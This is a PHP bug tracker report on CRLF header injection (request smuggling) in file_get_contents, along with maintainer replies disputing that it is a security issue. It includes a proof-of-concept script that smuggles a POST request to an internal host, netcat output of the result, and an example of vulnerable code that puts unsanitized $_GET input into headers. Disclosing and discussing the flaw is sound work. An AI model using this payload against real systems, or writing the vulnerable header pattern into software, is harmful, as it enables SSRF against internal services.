php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #81690 A request smuggling in file_get_contents
Submitted: 2021-12-03 05:28 UTC Modified: 2021-12-26 13:57 UTC
Votes:3
Avg. Score:4.0 ± 0.8
Reproduced:0 of 2 (0.0%)
From: ive_jihwan at zerocution dot com Assigned:
Status: Open Package: HTTP related
PHP Version: 8.1.0 OS:
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: ive_jihwan at zerocution dot com
New email:
PHP Version: OS:

 

 [2021-12-03 05:28 UTC] ive_jihwan at zerocution dot com
Description:
------------
Since file_get_contents accepts a user-generated stream context as its argument, an arbitrary stream context can be passed. In addition, we can pass arbitrary header string by setting $ctx["http"]["header"] while $ctx is passing context. However, there is no checking of the given header string, the user can inject multiple continuous "\r\n" sequences, which can send multiple HTTP request messages at once.

I attached a received raw HTTP message on TCP socket by netcat (nc -l) as actual result.

This bug is caused by lack of filtering multiple "\r\n" streams while adding context's http header option strings. (http_fopen_wrapper.c, line 421 to 514)




Test script:
---------------
<?php

$ctx = stream_context_create(array(
        "http" => array(
                "header" =>
                        "Host: localhost:3500\r\n\r\n\r\nPOST /internal/ HTTP/1.1\r\nHost: maybe_internal:3500\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: SecretAdminBrowser\r\n\r\npoc=this-is-test\r\n"
        )));

file_get_contents('http://localhost:3500', null, $ctx);

Expected result:
----------------
Should be failed

Actual result:
--------------
$ nc -lnvp 3500
Listening on 0.0.0.0 3500
Connection received on 127.0.0.1 38908
GET / HTTP/1.1
Connection: close
Host: localhost:3500


POST /internal/ HTTP/1.1
Host: maybe_internal:3500
Content-Type: application/x-www-form-urlencoded
User-Agent: SecretAdminBrowser

poc=this-is-test

Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-12-03 10:31 UTC] cmb@php.net
Even if this was not possible, userland code still could quite
easily send such requests by other means, so this doesn't qualify
as security issue.  Or, according to our security
classification[1] it is not a security issue, because it:

| requires invocation of specific code, which may be valid but is
| obviously malicious

I agree, though, that we better do not allow multiple consecutive
line breaks here.

[1] <https://wiki.php.net/security>
 [2021-12-03 10:50 UTC] ive_jihwan at zerocution dot com
I understood this testing script seems too malicious, but how about the following code?


<?php

$ctx = stream_context_create(array(
        "http" => array(
                "header" => "User-Agent: ".$_GET["UA"],
                "content" => "q=".$_GET["q"]
        )));
?>

I know that many developers are using file_get_content to call simple API services instead of using curl, something like this really can be happened in the real world.

Also, it seems like we can inject multiple consequence cr-lf in content for the same reason, this is more likely to exist in the real world.
 [2021-12-16 13:29 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-12-16 13:29 UTC] cmb@php.net
Well, if you are not validating/sanitizing user input, almost
anything can happen.  At least in the general case, PHP cannot
prevent exploits of such bad code, like

    include $_GET['filename']

And yes, this is a serious security issue, but not in php-src,
but rather in the userland code.
 [2021-12-26 13:57 UTC] ive_jihwan at zerocution dot com
I understood it's usually a userland problem, but in my opinion, it's not only the userland's problem. Since the intended action for providing context manually to file_get_contents intends to let user/developer set the HTTP header, not to split/smuggle HTTP request. This may allow performing SSRF attacks in the wild.

In addition, everyone can agree/realize that include example you gave is malicious easily, however for this example, I'm not sure they really wrote the code with understood of danger.

Even this is not categorized as a security bug, I hope that this can be fixed, or the probability of SSRF should be mentioned in the document.

PS, I heard that this bug is actually used for CTF competition (ISITDTU CTF 2021 Finals), for triggering SSRF.
 [2024-08-21 08:30 UTC] calisurfer1015 at gmail dot com
The following pull request has been associated:

Patch Name: Added info command
On GitHub:  https://github.com/php/pie/pull/27
Patch:      https://github.com/php/pie/pull/27.patch
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Nov 12 13:01:28 2024 UTC